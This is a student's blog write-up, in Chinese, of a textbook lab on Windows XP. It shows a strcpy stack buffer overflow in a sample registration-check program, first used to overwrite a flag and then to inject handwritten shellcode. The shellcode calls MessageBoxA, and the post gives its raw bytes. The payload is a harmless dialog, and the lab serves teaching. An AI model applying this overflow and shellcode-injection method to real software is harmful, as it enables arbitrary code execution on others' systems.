avatar

漏洞测试作业六:SHELLCODE编写实例

Shellcode编写

题目

请在XP VC6生成课本示例5-1的案例(DEBUG模式),通过修改reg.txt文件,址入shellcode。Shellcode的内容与课本一致。撰写实验报告。

解答

程序

#include <iostream>
#include <windows.h>
#define REGCODE "12345678"
int verify(char* code)
{
int flag;
char buffer[44];
flag=strcmp(REGCODE,code); # 若str1=str2,则返回零
strcpy(buffer,code);
return flag;
}
void main()
{
int vFlag=0;
char regcode[1024];
FILE * fp;
LoadLibrary("user32.dll");
if(!(fp=fopen("reg.txt","rw+")))
exit(0);
fscanf(fp,"%s",regcode);
vFlag=verify(regcode);
if(vFlag)
printf("wrong regcode!\n");
else
printf("passed!\n");
fclose(fp);
system("pause");
}

一、程序正常运行

  1. regcode="12341234"image-20200417171458877
  2. regcode="12345678"image-20200417171608189

二、弹出”passed!”

image-20200417154118122

思路

vFlag!=1时程序跳转到passed,所以需要使vFlag==0。函数Verify的栈帧中,buffer对应44个字节,所以只需要利用UltraEditreg.txt中写入48位数据且后四位全部为0即可覆盖Flag,改变函数verify的返回值,从而改变vFlag的值。

修改reg.txt

1. flag==-1

image-20200417171845156

image-20200417175300841image-20200417175357889

image-20200417171458877失败

2.flag==1

image-20200417175956785

image-20200417181151684image-20200417181235837

image-20200417171608189成功

解释

读入字符串时默认遇到0就停下,末尾只能读入一个0,所以需要利用大端存储将flag的后三个字节全部置零,即使flag=1,即REGCODE大于code

三、弹出MessageBox

1.思路



#### 2.MessageBox函数解析

```C
int MessageBox(
HWND hWnd, //handle to owner window 消息框所属窗口的句柄,如果为NULL,消息框则不属于任何窗口
LPCTSTR lpText, //text in message box 字符串指针,所指字符串会在消息框中显示
LPCTSTR lpCaption, //message box title 字符串指针,所指字符串将成为消息框的标题
UNIT uType //message box style 消息框的风格(单按钮、多按钮等),NULL代表默认风格
)

3. 查看弹出MessageBox所对应的汇编代码

#include <stdio.h>
#include <windows.h>
void main()
{
MessageBox(NULL,NULL,NULL,0);
return;
}
image-20200417185248191

==*注:不建议使用PUSH 0,因此采用xor ebx,ebx push ebx代替==

4. 找到MessageBox函数入口地址

a)调用函数,查看指令地址

image-20200417185720898地址:77D507EA

b)利用Dependency工具查看地址

image-20200417190015031

image-20200417190123046

随便拖入一个PE文件,就可以看到它所使用的库文件了,在左侧列中选出USER32.DLL,MessageBox显示字符类型为A类(ASCII),因此在汇编语言中调用的应该是MessageBoxA

image-20200417190700431

所以函数地址为```0x77D10000+0x000407EA=0x77D504EA
c)编写指令代码
#include <stdio.h>
#include <windows.h>
void main()
{
LoadLibrary("user32.dll");
_asm
{
xor ebx,ebx//使用寄存器代替0
push ebx
push ebx
push ebx
push ebx
mov eax,77d507eah//函数入口地址77d507ea
call eax
}
return;
}

嵌入字符串“westwest”,对应16进制w:77,e:65,s:73,t:74,大端存储改为push 74736577

#include <stdio.h>
#include <windows.h>
void main()
{
LoadLibrary("user32.dll");
_asm
{
xor ebx,ebx
push ebx//使用寄存器代替0
push 74736577h//注意标明16进制
push 74736577h
mov eax,esp//栈顶即指向字符串的指针
push ebx
push eax
push eax
push ebx
mov eax,77d507eah//函数入口地址77d507ea
call eax
}
return;
}
image-20200417224545360

弹出窗口,测试成功

image-20200417224926327

得到机器代码33 DB 53 68 77 65 73 74 68 77 65 73 74 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0

d)编写Shellcode代码

用记事本将空格替换为’\x’

#include <stdio.h>
#include <windows.h>
char ourshellcode[]="\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x77\x65\x73\x74\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0";
void main()
{
LoadLibrary("user32.dll");
int * ret;
ret=(int*)&ret+2;
(*ret)=(int)ourshellcode;
return;
}

image-20200417193835870将EIP内容替换为shellcode内容,执行shellcode代码

image-20200417225143954测试成功

将shellcode写入reg.txt

buffer地址image-20200417232517054

image-20200418000448906

弹出对话框,实验成功

image-20200418000555901
Author: Michelle19l
Link: https://gitee.com/michelle19l/michelle19l/2020/05/15/漏测作业/漏测作业六/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付寶
    支付寶